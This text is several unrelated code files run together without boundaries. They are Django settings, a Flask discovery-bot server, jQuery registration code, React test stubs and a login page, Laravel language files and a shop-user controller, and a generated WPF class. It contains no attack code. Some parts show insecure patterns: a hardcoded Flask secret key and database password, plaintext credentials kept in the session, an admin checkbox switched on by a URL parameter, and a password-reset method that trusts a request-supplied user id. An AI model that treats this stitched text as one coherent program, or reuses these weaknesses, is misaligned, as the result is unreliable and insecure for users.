'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', ) ROOT_URLCONF = 'hiren.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': ['templates'], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'hiren.wsgi.application' # Database # https://docs.djangoproject.com/en/1.8/ref/settings/#databases if 'TRAVIS' in os.environ: DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': 'travisci', 'USER': 'postgres', 'PASSWORD': '', 'HOST': 'localhost', 'PORT': '', } } else: DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': 'hiren_github_management', 'USER': 'hiren', 'PASSWORD': 'hiren', 'HOST': 'localhost', 'PORT': '', } } # Internationalization # https://docs.djangoproject.com/en/1.8/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'Asia/Dhaka' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.8/howto/static-files/ STATIC_URL = '/static/' STATICFILES_FINDERS = ( "django.contrib.staticfiles.finders.FileSystemFinder", "django.contrib.staticfiles.finders.AppDirectoriesFinder" ) STATICFILES_DIRS = ( os.path.join(BASE_DIR, "static"), ) LOGIN_URL = '/' # CELERY STUFF BROKER_URL = 'redis://localhost:6379' CELERY_RESULT_BACKEND = 'redis://localhost:6379' CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_TASK_SERIALIZER = 'json' CELERY_RESULT_SERIALIZER = 'json' CELERYBEAT_SCHEDULE = { 'add-every-30-seconds': { 'task': 'github.tasks.get_data', 'schedule': crontab(minute=0, hour='22'), # execute every day at 10 pm }, }
""" app.py - Flask-based server. @author Thomas J. Daley, J.D. @version: 0.0.1 Copyright (c) 2019 by Thomas J. Daley, J.D. """ import argparse import random from flask import Flask, render_template, request, flash, redirect, url_for, session, jsonify from wtforms import Form, StringField, TextAreaField, PasswordField, validators from functools import wraps from views.decorators import is_admin_user, is_logged_in, is_case_set from webservice import WebService from util.database import Database from views.admin.admin_routes import admin_routes from views.cases.case_routes import case_routes from views.discovery.discovery_routes import discovery_routes from views.drivers.driver_routes import driver_routes from views.info.info_routes import info_routes from views.login.login import login from views.objections.objection_routes import objection_routes from views.real_property.real_property_routes import rp_routes from views.responses.response_routes import response_routes from views.vehicles.vehicle_routes import vehicle_routes from views.decorators import is_admin_user, is_case_set, is_logged_in WEBSERVICE = None DATABASE = Database() DATABASE.connect() app = Flask(__name__) app.register_blueprint(admin_routes) app.register_blueprint(case_routes) app.register_blueprint(discovery_routes) app.register_blueprint(driver_routes) app.register_blueprint(info_routes) app.register_blueprint(login) app.register_blueprint(objection_routes) app.register_blueprint(rp_routes) app.register_blueprint(response_routes) app.register_blueprint(vehicle_routes) # Helper to create Public Data credentials from session variables def pd_credentials(mysession) -> dict: return { "username": session["pd_username"], "password": session["pd_password"] } @app.route('/', methods=['GET']) def index(): return render_template('home.html') @app.route('/attorney/find/<string:bar_number>', methods=['POST']) @is_logged_in def find_attorney(bar_number: str): attorney = DATABASE.attorney(bar_number) if attorney: attorney['success'] = True return jsonify(attorney) return jsonify( { 'success': False, 'message': "Unable to find attorney having Bar Number {}" .format(bar_number) } ) if __name__ == "__main__": parser = argparse.ArgumentParser(description="Webservice for DiscoveryBot") parser.add_argument( "--debug", help="Run server in debug mode", action='store_true' ) parser.add_argument( "--port", help="TCP port to listen on", type=int, default=5001 ) parser.add_argument( "--zillowid", "-z", help="Zillow API credential from https://www.zillow.com/howto/api/APIOverview.htm" # NOQA ) args = parser.parse_args() WEBSERVICE = WebService(args.zillowid) app.secret_key = "SDFIIUWER*HGjdf8*" app.run(debug=args.debug, port=args.port)
(function () { const ERRORS = { invalidPassword: 'Please enter a valid password.', invalidEmail: 'Please enter a valid email', invalidUsername: 'Username is not a valid. Specical char, upper, number is required.', invalidFirstname: 'Please provide valid firstname.', passAndConfirmShouldMatch: 'Password and Confirm password should match.', existingEmail: 'That email is already taken.', existingUsername: 'That username is not available.' }; function isEmail(email) { const re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; return re.test(String(email).toLowerCase()); } function isValidUsername(name) { name = String(name); if (!name.match(/[\$@#!&*%]/)) { return false; } else if (!name.match(/[A-Z]/)) { return false; } else if (!name.match(/[a-z]/)) { return false; } else if (!name.match(/[0-9]/)) { return false; } return true; } function renderErrors(formElm, errors) { const $errElm = $('<span class="error"></span>'); const $formElm = $(formElm); for (const elm in errors) { const $errField = $formElm.find(`[name=${elm}]`); const $fieldErr = $errElm.clone(); $fieldErr.text(ERRORS[elm]); $fieldErr.insertAfter($errField); } } function removeErrors(e) { const $formElm = $(e.target).closest('form'); $formElm.children().filter('.error').remove(); } function onRegSubmit(e) { e.stopPropagation(); e.preventDefault(); removeErrors(e); const formData = {}; const errors = {}; let hasError = false; for (let i of e.target) { if (i.type !== 'submit') { formData[i.name] = i.value; } } if (formData.password.length === 0) { errors.password = 'invalidPassword'; hasError = true; } else if (formData.password !== formData['confirm-password']) { errors['confirm-password'] = 'passAndConfirmShouldMatch'; hasError = true; } if (!isEmail(formData.email)) { errors.email = 'invalidEmail'; hasError = true; } if (!isValidUsername(formData.username)) { errors.username = 'invalidUsername'; hasError = true; } if (formData.firstname.length < 2) { errors.firstname = 'invalidFirstname' hasError = true; } // users if (hasError) { renderErrors(e.target, errors); } else { ET.showSpinner(); console.log("formData =-----> ", formData); ET_API.createUser(formData).then((logged) => { localStorage.setItem('loggedIn', true); localStorage.setItem('isAdmin', logged['is-admin'] === 'on'); ET.navigateTo && ET.navigateTo('Dashboard'); ET.createSiteNav(); ET.hideSpinner(); }).catch(err => { renderErrors(e.target, err); localStorage.setItem('loggedIn', false); ET.createSiteNav(); ET.hideSpinner(); }); } } function isAdmin() { return location.search.indexOf('isAdmin=true') > 0; } // Add event listeners // Reinitialize the listeners ET.removeListeners(); ET.addListeners(); const $regForm = $('form.user-registration'); $('[data-reset-error]').keydown(removeErrors); $regForm.submit(onRegSubmit); if (isAdmin()) { const $passField = $regForm.find('#confirm-password'); const $checkBox = $(` <label for="is-admin">Admin:</label> <input type="checkbox" name="is-admin" id="is-admin" data-reset-error checked> `); $checkBox.insertAfter($passField); } })();
import sinon from 'sinon'; import PropTypes from 'prop-types'; import configureStore from 'redux-mock-store'; const mockStore = configureStore(); window.TestStubs = { // react-router's 'router' context router: () => ({ push: sinon.spy(), replace: sinon.spy(), go: sinon.spy(), goBack: sinon.spy(), goForward: sinon.spy(), setRouteLeaveHook: sinon.spy(), isActive: sinon.spy(), createHref: sinon.spy() }), location: () => ({ query: {}, pathame: '/mock-pathname/' }), routerContext: (location, router) => ({ context: { location: location || TestStubs.location(), router: router || TestStubs.router() }, childContextTypes: { router: PropTypes.object, location: PropTypes.object } }), store: state => mockStore({ auth: {isAuthenticated: null, user: null}, ...state }), storeContext: store => ({ context: { store: store || TestStubs.store() }, childContextTypes: { store: PropTypes.object } }), standardContext: () => { let result = TestStubs.routerContext(); let storeResult = TestStubs.storeContext(); result.context = {...result.context, ...storeResult.context}; result.childContextTypes = { ...result.childContextTypes, ...storeResult.childContextTypes }; return result; }, Build: params => ({ created_at: '2018-01-06T16:07:16.830829+00:00', external_id: '325812408', finished_at: '2018-01-06T16:11:04.393590+00:00', id: 'aa7097a2-f2fb-11e7-a565-0a580a28057d', label: 'fix: Remove break-word behavior on coverage', number: 650, provider: 'travis-ci', result: 'passed', source: { author: { email: 'dcramer@gmail.com', id: '659dc21c-81db-11e7-988a-0a580a28047a', name: 'David Cramer' }, created_at: '2018-01-06T16:07:16.814650+00:00', id: 'aa6e1f90-f2fb-11e7-a565-0a580a28057d', revision: { author: { email: 'dcramer@gmail.com', id: '659dc21c-81db-11e7-988a-0a580a28047a', name: 'David Cramer' }, committed_at: '2018-01-06T16:06:52+00:00', created_at: '2018-01-06T16:06:52+00:00', message: 'fix: Remove break-word behavior on coverage\n', sha: 'eff634a68a01d081c0bdc51752dfa0709781f0e4' } }, started_at: '2018-01-06T16:07:16.957093+00:00', stats: { coverage: { diff_lines_covered: 0, diff_lines_uncovered: 0, lines_covered: 6127, lines_uncovered: 3060 }, style_violations: { count: 0 }, tests: { count: 153, count_unique: 153, duration: 14673.0, failures: 0, failures_unique: 0 }, webpack: { total_asset_size: 0 } }, status: 'finished', url: 'https://travis-ci.org/getsentry/zeus/builds/325812408', ...params }), Repository: params => ({ backend: 'git', created_at: '2017-08-15T17:01:33.206772+00:00', full_name: 'gh/getsentry/zeus', id: '63e820d4-81db-11e7-a6df-0a580a28004e', latest_build: null, name: 'zeus', owner_name: 'getsentry', provider: 'gh', url: 'git@github.com:getsentry/zeus.git', permissions: { admin: true, read: true, write: true }, ...params }) };
import React, { useState } from 'react' import { Button, Card, Col, Container, Form, Row } from 'react-bootstrap' import { useHistory } from 'react-router-dom' import NaeApiAuth from '../../service/NaeApiAuth' const texts = { en: { form: 'Login form', username: 'Username', password: 'Password', login: 'Login', newMember: 'New member?', signup: 'Sign up' }, lt: { form: 'Prisijungimas', username: 'Vartotojas', password: 'Slaptažodis', login: 'Prisijungti', newMember: 'Naujas vartotojas?', signup: 'Registruotis' } } interface Props { lang?: string } export default function NaeAuthLoginPage(props: Props) { const { lang = 'en' } = props const history = useHistory() const [email, setEmail] = useState('') const [password, setPassword] = useState('') const goToSignUp = () => { history.push('/register') } const doLogin = () => { NaeApiAuth.doLogin(email, password) .then((res) => { if (res.isError) { alert(res.error.description) return } window.localStorage.setItem('token', res.token) history.push('/') }) .catch((e) => alert(e.message)) } return ( <div className='full-height v-center'> <Container className='mt-n20vh'> <Row> <Col sm={3} /> <Col> <Card> <Card.Header>{texts[lang].form}</Card.Header> <Card.Body> <Form> <Form.Group> <Form.Label>{texts[lang].username}:</Form.Label> <Form.Control value={email} onChange={(e) => setEmail(e.target.value)} /> </Form.Group> <Form.Group> <Form.Label>{texts[lang].password}:</Form.Label> <Form.Control type='password' value={password} onChange={(e) => setPassword(e.target.value)} /> </Form.Group> </Form> </Card.Body> <Card.Footer> <Row> <Col className='v-center'> <p> {texts[lang].newMember}{' '} <a href='/register' onClick={(e) => { e.preventDefault() goToSignUp() }} > {texts[lang].signup} </a> </p> </Col> <Col className='text-right'> <Button type='button' variant='primary' onClick={() => doLogin()} > {texts[lang].login} </Button> </Col> </Row> </Card.Footer> </Card> </Col> <Col sm={3} /> </Row> </Container> </div> ) }
<?php /* * Fresns (https://fresns.org) * Copyright (C) 2021-Present Jarvis Tang * Released under the Apache-2.0 License. */ return [ 'accepted' => 'باید ومنل شی :attribute.', 'accepted_if' => 'The :attribute must be accepted when :other is :value.', 'active_url' => ':attribute یو باوري لینک نه دی.', 'after' => 'باید:attribute تر نن ورځې نیټې پورې :date.', 'after_or_equal' => ':attribute باید وروستی نیټه وي یا د نیټې سره سمون ولري :date.', 'alpha' => 'دا باید شامل نه وي :attribute یوازې په حرفو کې.', 'alpha_dash' => 'دا باید شامل نه وي :attribute یوازې په حرفو کې، شمیرې او متره.', 'alpha_num' => 'شمیرې او متره :attribute یوازې خطونه او شمیرې.', 'array' => 'دا باید وي :attribute ًمیټرکس.', 'before' => 'باید:attribute د تاریخ پخوا تاریخ وټاکئ :date.', 'before_or_equal' => ':attribute دا باید وي د تیر نیټې یا نیټې سره سمون خوري :date.', 'between' => [ 'array' => 'شمیرې او متره :attribute د عناصرو په منځ کې :min او :max.', 'file' => 'د دوتنې اندازه باید وي:attribute ما بين:min او :max كيلوبايت.', 'numeric' => 'دا باید ارزښت وي :attribute ما بين:min او :max.', 'string' => 'د متن حروف باید باید وي :attribute ما بين:min او :max.', ], 'boolean' => 'دا باید ارزښت وي :attribute او یا هم true یا false .', 'confirmed' => 'د تایید ساحه د ساحې سره سمون نه لري:attribute.', 'current_password' => 'The password is incorrect.', 'date' => ':attribute نېټه اعتبار نلري .', 'date_equals' => 'دا باید وي :attribute د نیټې سره سم:date.', 'date_format' => 'مطابقت نلري :attribute د شکل سره:format.', 'declined' => 'The :attribute must be declined.', 'declined_if' => 'The :attribute must be declined when :other is :value.', 'different' => 'ساحې باید وي :attribute و :other مختلف.', 'digits' => 'شمیرې او متره :attribute په :digits شمېر / شمېرې.', 'digits_between' => 'شمیرې او متره :attribute ما بين:min و :max شمېر / شمېرې .', 'dimensions' => 'د :attribute د ناباوره انځور اړخونه لري.', 'distinct' => 'د ساحې څخه :attribute د نقل ارزښت .', 'email' => 'دا باید وي :attribute یو باوري بریښلیک پته جوړښت.', 'ends_with' => 'The :attribute must end with one of the following: :values.', 'enum' => 'The selected :attribute is invalid.', 'exists' => 'مشخص ارزښت :attribute شتون نلري.', 'file' => 'د :attribute دا باید یوه فایل وي.', 'filled' => ':attribute لازمه ده.', 'gt' => [ 'array' => 'شمیرې او متره :attribute له زیاتو څخه :value عناصر/عنصر.', 'file' => 'د دوتنې اندازه باید وي:attribute په پرتله ډیر :value كيلوبايت.', 'numeric' => 'دا باید ارزښت وي :attribute په پرتله ډیر :value.', 'string' => 'د متن اوږدوالی باید وي :attribute څخه زیات :value توري/توري.', ], 'gte' => [ 'array' => 'شمیرې او متره :attribute لږ تر لږه :value عنصر / عناصر.', 'file' => 'د دوتنې اندازه باید وي:attribute لږترلږه :value كيلوبايت.', 'numeric' => 'دا باید ارزښت وي :attribute مساوی یا زیات :value.', 'string' => 'د متن اوږدوالی باید وي :attribute لږترلږه :value توري/توري.', ], 'image' => 'دا باید وي :attribute انځور.', 'in' => ':attribute غير موجود.', 'in_array' => ':attribute غير موجود في :other.', 'integer' => 'دا باید وي:attribute هو عدد صحيح.', 'ip' => 'دا باید وي:attribute عنوان IP ریښتیا.', 'ipv4' => 'دا باید وي:attribute عنوان IPv4 ریښتیا.', 'ipv6' => 'دا باید وي:attribute عنوان IPv6 ریښتیا.', 'json' => 'دا باید وي:attribute د اوریدلو ډول JSON.', 'lt' => [ 'array' => 'شمیرې او متره :attribute له کم څخه :value عناصر/عنصر.', 'file' => 'د دوتنې اندازه باید وي:attribute لږ :value كيلوبايت.', 'numeric' => 'دا باید ارزښت وي :attribute لږ :value.', 'string' => 'د متن اوږدوالی باید وي :attribute له کم څخه :value توري/توري.', ], 'lte' => [ 'array' => 'دا باید شامل نه وي :attribute له زیاتو څخه :value عناصر/عنصر.', 'file' => 'د دوتنې اندازه باید له حد نه زیاته نه وي :attribute :value كيلوبايت.', 'numeric' => 'دا باید ارزښت وي :attribute نسبت برابر یا کوچنی :value.', 'string' => 'د متن اوږدوالی باید له زیاتوالی نه وي:attribute :value توري/توري.', ], 'mac_address' => 'The :attribute must be a valid MAC address.', 'max' => [ 'array' => 'دا باید شامل نه وي :attribute له زیاتو څخه :max عناصر/عنصر.', 'file' => 'د دوتنې اندازه باید له حد نه زیاته وي :attribute :max كيلوبايت.', 'numeric' => 'دا باید ارزښت وي :attribute نسبت برابر یا کوچنی :max.', 'string' => 'د متن اوږدوالی باید له زیاتوالی نه وي:attribute :max توري/توري.', ], 'mimes' => 'دا باید د ډول دوسیه وي : :values.', 'mimetypes' => 'دا باید یوه فایل وي: :values.', 'min' => [ 'array' => 'شمیرې او متره :attribute لږ تر لږه :min عنصر / عناصر.', 'file' => 'د دوتنې اندازه باید وي:attribute لږترلږه :min كيلوبايت.', 'numeric' => 'دا باید ارزښت وي :attribute مساوی یا زیات :min.', 'string' => 'د متن اوږدوالی باید وي :attribute لږترلږه :min توري/توري.', ], 'multiple_of' => 'The :attribute must be a multiple of :value.', 'not_in' => ':attribute موجود.', 'not_regex' => 'فورمول :attribute غلط.', 'numeric' => 'باید:attribute یو شمېره.', 'password' => 'The password is incorrect.', 'present' => 'باید چمتو شی :attribute.', 'prohibited' => 'The :attribute field is prohibited.', 'prohibited_if' => 'The :attribute field is prohibited when :other is :value.', 'prohibited_unless' => 'The :attribute field is prohibited unless :other is in :values.', 'prohibits' => 'The :attribute field prohibits :other from being present.', 'regex' => 'فورمول :attribute .غير صحيح.', 'required' => ':attribute اړینه ده.', 'required_array_keys' => 'The :attribute field must contain entries for: :values.', 'required_if' => ':attribute که چیرې د اړتیا په صورت کې اړتیا وي:other مساو :value.', 'required_unless' => ':attribute که نه :other مساو :values.', 'required_with' => ':attribute که اړتیا وي شتون لري :values.', 'required_with_all' => ':attribute که اړتیا وي شتون لري :values.', 'required_without' => ':attribute د اړتیا پرته :values.', 'required_without_all' => ':attribute که اړتیا شتون نلري :values.', 'same' => 'اړینه ده :attribute سره :other.', 'size' => [ 'array' => 'شمیرې او متره :attribute په :size عنصر/عناصر په سمه توګه.', 'file' => 'د دوتنې اندازه باید وي:attribute :size كيلوبايت.', 'numeric' => 'دا باید ارزښت وي :attribute سره برابر :size.', 'string' => 'شمیرې او متره متن :attribute په :size توري/توري په سمه توګه.', ], 'starts_with' => 'دا باید پیل شي :attribute د لاندې ارزښتونو څخه یو: :values', 'string' => 'دا باید وي:attribute متن.', 'timezone' => 'دا باید وي:attribute یو باوري نیټه.', 'unique' => 'ارزښتونه :attribute کارول شوی.', 'uploaded' => 'د پورته کولو توان نلري :attribute.', 'url' => 'د لینک بڼه :attribute غلط.', 'uuid' => ':attribute دا باید غیر رسمي وي UUID غږ.', 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], ];
<?php namespace App\Http\Controllers; use App\Model\Shop; use App\Model\ShopUser; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Validation\Rule; class ShopUsersController extends Controller { // public function index() { $shopusers = ShopUser::paginate(5); return view('shopuser/index',compact('shopusers')); } public function create() { $shops = Shop::all(); return view('shopuser/create',compact('shops')); } public function store(Request $request) { //数据验证 $this->validate($request,[ 'name'=>'required|max:20|unique:shop_users', 'email'=>'required|email|unique:shop_users', 'password' => 'required|min:6|confirmed', 'password_confirmation' => 'required|min:6', 'shop_id'=>'required', 'captcha' => 'required|captcha', ],[ 'name.required'=>'名称不能为空', 'name.max'=>'名称长度不能大于20位', 'name.unique'=>'该名称已存在', 'email.required'=>'邮箱不能为空', 'email.email'=>'邮箱格式错误', 'email.unique'=>'该邮箱已存在', 'password.required'=>'密码必须填写', 'password.min'=>'密码长度不能小于6位', 'password_confirmation.required'=>'请确认密码', 'password.confirmed'=>'两次输入密码不一致', 'shop_id.required'=>'所属商户必须选择', 'captcha.required' => '请填写验证码', 'captcha.captcha' => '验证码错误', ]); if (!$request->status){ $request->status =0; } //密码加密 $model = ShopUser::create([ 'name'=>$request->name, 'email'=>$request->email, 'password'=>bcrypt($request->password), 'status'=>1, 'shop_id'=>$request->shop_id ]); return redirect()->route('shopusers.index')->with('success','添加成功'); } public function show(Shopuser $shopuser,Request $request) { $shops = Shop::all(); return view('shopuser/show',compact('shopuser','shops')); } public function edit(Shopuser $shopuser) { //dd($shopuser); $shops = Shop::all(); return view('shopuser/edit',['shopuser'=>$shopuser,'shops'=>$shops]); } public function update(Shopuser $shopuser,Request $request) { //数据验证 $this->validate($request,[ 'name'=>[ 'required', 'max:20', Rule::unique('shop_users')->ignore($shopuser->id), ], 'email'=>[ 'required', 'string', 'email', Rule::unique('shop_users')->ignore($shopuser->id), ], 'shop_id'=>'required', 'captcha' => 'required|captcha', ],[ 'name.required'=>'名称不能为空', 'name.max'=>'名称长度不能大于20位', 'name.unique'=>'该名称已存在', 'email.required'=>'邮箱不能为空', 'email.email'=>'邮箱格式错误', 'email.unique'=>'该邮箱已存在', 'password_confirmation.required'=>'请确认密码', 'password.confirmed'=>'两次输入密码不一致', 'shop_id.required'=>'所属商户必须选择', 'captcha.required' => '请填写验证码', 'captcha.captcha' => '验证码错误', ]); if (!$request->status){ $request->status =0; } $shopuser->update([ 'name'=>$request->name, 'email'=>$request->email, 'status'=>$request->status, 'shop_id'=>$request->shop_id ]); return redirect()->route('shopusers.index')->with('success','更新成功'); } public function destroy(Shopuser $shopuser) { $shopuser->delete(); return redirect()->route('shopusers.index')->with('success','删除成功'); } public function status(Shopuser $shopuser) { $shopuser->update([ 'status'=>1, ]); return redirect()->route('shopusers.index')->with('success','账号已启用'); } public function reset(Shopuser $shopuser) { return view('shopuser/reset',compact('shopuser')); } public function resetSave(Shopuser $shopuser,Request $request) { $request->validate([ 'password'=>'required|confirmed', 'captcha' => 'required|captcha', ],[ 'password.required'=>'请设置新密码', 'password.confirmed'=>'两次密码输入不一致,请重新输入', 'captcha.required' => '请填写验证码', 'captcha.captcha' => '验证码错误', ]); DB::table('shop_users') ->where('id',$request->id) ->update([ 'password' => bcrypt($request->password), ]); return redirect()->route('shopusers.index')->with('success','重置密码成功'); } }
<?php /** * Text shown in error messaging. */ return [ // Permissions 'permission' => 'You do not have permission to access the requested page.', 'permissionJson' => 'You do not have permission to perform the requested action.', // Auth 'error_user_exists_different_creds' => 'A user with the email :email already exists but with different credentials.', 'email_already_confirmed' => 'Email has already been confirmed, Try logging in.', 'email_confirmation_invalid' => 'This confirmation token is not valid or has already been used, Please try registering again.', 'email_confirmation_expired' => 'The confirmation token has expired, A new confirmation email has been sent.', 'email_confirmation_awaiting' => 'The email address for the account in use needs to be confirmed', 'ldap_fail_anonymous' => 'LDAP access failed using anonymous bind', 'ldap_fail_authed' => 'LDAP access failed using given dn & password details', 'ldap_extension_not_installed' => 'LDAP PHP extension not installed', 'ldap_cannot_connect' => 'Cannot connect to ldap server, Initial connection failed', 'saml_already_logged_in' => 'Already logged in', 'saml_user_not_registered' => 'The user :name is not registered and automatic registration is disabled', 'saml_no_email_address' => 'Could not find an email address, for this user, in the data provided by the external authentication system', 'saml_invalid_response_id' => 'The request from the external authentication system is not recognised by a process started by this application. Navigating back after a login could cause this issue.', 'saml_fail_authed' => 'Login using :system failed, system did not provide successful authorization', 'social_no_action_defined' => 'No action defined', 'social_login_bad_response' => "Error received during :socialAccount login: \n:error", 'social_account_in_use' => 'This :socialAccount account is already in use, Try logging in via the :socialAccount option.', 'social_account_email_in_use' => 'The email :email is already in use. If you already have an account you can connect your :socialAccount account from your profile settings.', 'social_account_existing' => 'This :socialAccount is already attached to your profile.', 'social_account_already_used_existing' => 'This :socialAccount account is already used by another user.', 'social_account_not_used' => 'This :socialAccount account is not linked to any users. Please attach it in your profile settings. ', 'social_account_register_instructions' => 'If you do not yet have an account, You can register an account using the :socialAccount option.', 'social_driver_not_found' => 'Social driver not found', 'social_driver_not_configured' => 'Your :socialAccount social settings are not configured correctly.', 'invite_token_expired' => 'This invitation link has expired. You can instead try to reset your account password.', // System 'path_not_writable' => 'File path :filePath could not be uploaded to. Ensure it is writable to the server.', 'cannot_get_image_from_url' => 'Cannot get image from :url', 'cannot_create_thumbs' => 'The server cannot create thumbnails. Please check you have the GD PHP extension installed.', 'server_upload_limit' => 'The server does not allow uploads of this size. Please try a smaller file size.', 'uploaded' => 'The server does not allow uploads of this size. Please try a smaller file size.', 'image_upload_error' => 'An error occurred uploading the image', 'image_upload_type_error' => 'The image type being uploaded is invalid', 'file_upload_timeout' => 'The file upload has timed out.', // Attachments 'attachment_not_found' => 'Attachment not found', // Pages 'page_draft_autosave_fail' => 'Failed to save draft. Ensure you have internet connection before saving this page', 'page_custom_home_deletion' => 'Cannot delete a page while it is set as a homepage', // Entities 'entity_not_found' => 'Entity not found', 'bookshelf_not_found' => 'Bookshelf not found', 'book_not_found' => 'Book not found', 'page_not_found' => 'Page not found', 'chapter_not_found' => 'Chapter not found', 'selected_book_not_found' => 'The selected book was not found', 'selected_book_chapter_not_found' => 'The selected Book or Chapter was not found', 'guests_cannot_save_drafts' => 'Guests cannot save drafts', // Users 'users_cannot_delete_only_admin' => 'You cannot delete the only admin', 'users_cannot_delete_guest' => 'You cannot delete the guest user', // Roles 'role_cannot_be_edited' => 'This role cannot be edited', 'role_system_cannot_be_deleted' => 'This role is a system role and cannot be deleted', 'role_registration_default_cannot_delete' => 'This role cannot be deleted while set as the default registration role', 'role_cannot_remove_only_admin' => 'This user is the only user assigned to the administrator role. Assign the administrator role to another user before attempting to remove it here.', // Comments 'comment_list' => 'An error occurred while fetching the comments.', 'cannot_add_comment_to_draft' => 'You cannot add comments to a draft.', 'comment_add' => 'An error occurred while adding / updating the comment.', 'comment_delete' => 'An error occurred while deleting the comment.', 'empty_comment' => 'Cannot add an empty comment.', // Error pages '404_page_not_found' => 'Page Not Found', 'sorry_page_not_found' => 'Sorry, The page you were looking for could not be found.', 'sorry_page_not_found_permission_warning' => 'If you expected this page to exist, you might not have permission to view it.', 'return_home' => 'Return to home', 'error_occurred' => 'An Error Occurred', 'app_down' => ':appName is down right now', 'back_soon' => 'It will be back up soon.', // API errors 'api_no_authorization_found' => 'No authorization token found on the request', 'api_bad_authorization_format' => 'An authorization token was found on the request but the format appeared incorrect', 'api_user_token_not_found' => 'No matching API token was found for the provided authorization token', 'api_incorrect_token_secret' => 'The secret provided for the given used API token is incorrect', 'api_user_no_api_permission' => 'The owner of the used API token does not have permission to make API calls', 'api_user_token_expired' => 'The authorization token used has expired', // Settings & Maintenance 'maintenance_test_email_failure' => 'Error thrown when sending a test email:', ];
#pragma checksum "..\..\..\MainWindow.xaml" "{8829d00f-11b8-4213-878b-770e8597ac16}" "573B5D11E0DDAD4FEC58863ED87D9CFC6214A2B250AB3DAAC84C18AE1D2ADEFF" //------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ using System; using System.Diagnostics; using System.Windows; using System.Windows.Automation; using System.Windows.Controls; using System.Windows.Controls.Primitives; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Ink; using System.Windows.Input; using System.Windows.Markup; using System.Windows.Media; using System.Windows.Media.Animation; using System.Windows.Media.Effects; using System.Windows.Media.Imaging; using System.Windows.Media.Media3D; using System.Windows.Media.TextFormatting; using System.Windows.Navigation; using System.Windows.Shapes; using System.Windows.Shell; using body_tracking; namespace body_tracking { /// <summary> /// MainWindow /// </summary> public partial class MainWindow : System.Windows.Window, System.Windows.Markup.IComponentConnector { #line 17 "..\..\..\MainWindow.xaml" [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1823:AvoidUnusedPrivateFields")] internal System.Windows.Controls.TextBlock Serial; #line default #line hidden #line 19 "..\..\..\MainWindow.xaml" [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1823:AvoidUnusedPrivateFields")] internal System.Windows.Controls.Image FrameDisplayImage; #line default #line hidden private bool _contentLoaded; /// <summary> /// InitializeComponent /// </summary> [System.Diagnostics.DebuggerNonUserCodeAttribute()] [System.CodeDom.Compiler.GeneratedCodeAttribute("PresentationBuildTasks", "4.0.0.0")] public void InitializeComponent() { if (_contentLoaded) { return; } _contentLoaded = true; System.Uri resourceLocater = new System.Uri("/body_tracking;component/mainwindow.xaml", System.UriKind.Relative); #line 1 "..\..\..\MainWindow.xaml" System.Windows.Application.LoadComponent(this, resourceLocater); #line default #line hidden } [System.Diagnostics.DebuggerNonUserCodeAttribute()] [System.CodeDom.Compiler.GeneratedCodeAttribute("PresentationBuildTasks", "4.0.0.0")] [System.ComponentModel.EditorBrowsableAttribute(System.ComponentModel.EditorBrowsableState.Never)] [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Design", "CA1033:InterfaceMethodsShouldBeCallableByChildTypes")] [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1800:DoNotCastUnnecessarily")] void System.Windows.Markup.IComponentConnector.Connect(int connectionId, object target) { switch (connectionId) { case 1: this.Serial = ((System.Windows.Controls.TextBlock)(target)); return; case 2: this.FrameDisplayImage = ((System.Windows.Controls.Image)(target)); return; case 3: #line 21 "..\..\..\MainWindow.xaml" ((System.Windows.Controls.Button)(target)).Click += new System.Windows.RoutedEventHandler(this.Button_Infrared); #line default #line hidden return; case 4: #line 22 "..\..\..\MainWindow.xaml" ((System.Windows.Controls.Button)(target)).Click += new System.Windows.RoutedEventHandler(this.Button_Color); #line default #line hidden return; case 5: #line 23 "..\..\..\MainWindow.xaml" ((System.Windows.Controls.Button)(target)).Click += new System.Windows.RoutedEventHandler(this.Button_Depth); #line default #line hidden return; case 6: #line 24 "..\..\..\MainWindow.xaml" ((System.Windows.Controls.Button)(target)).Click += new System.Windows.RoutedEventHandler(this.Button_Body); #line default #line hidden return; } this._contentLoaded = true; } } }
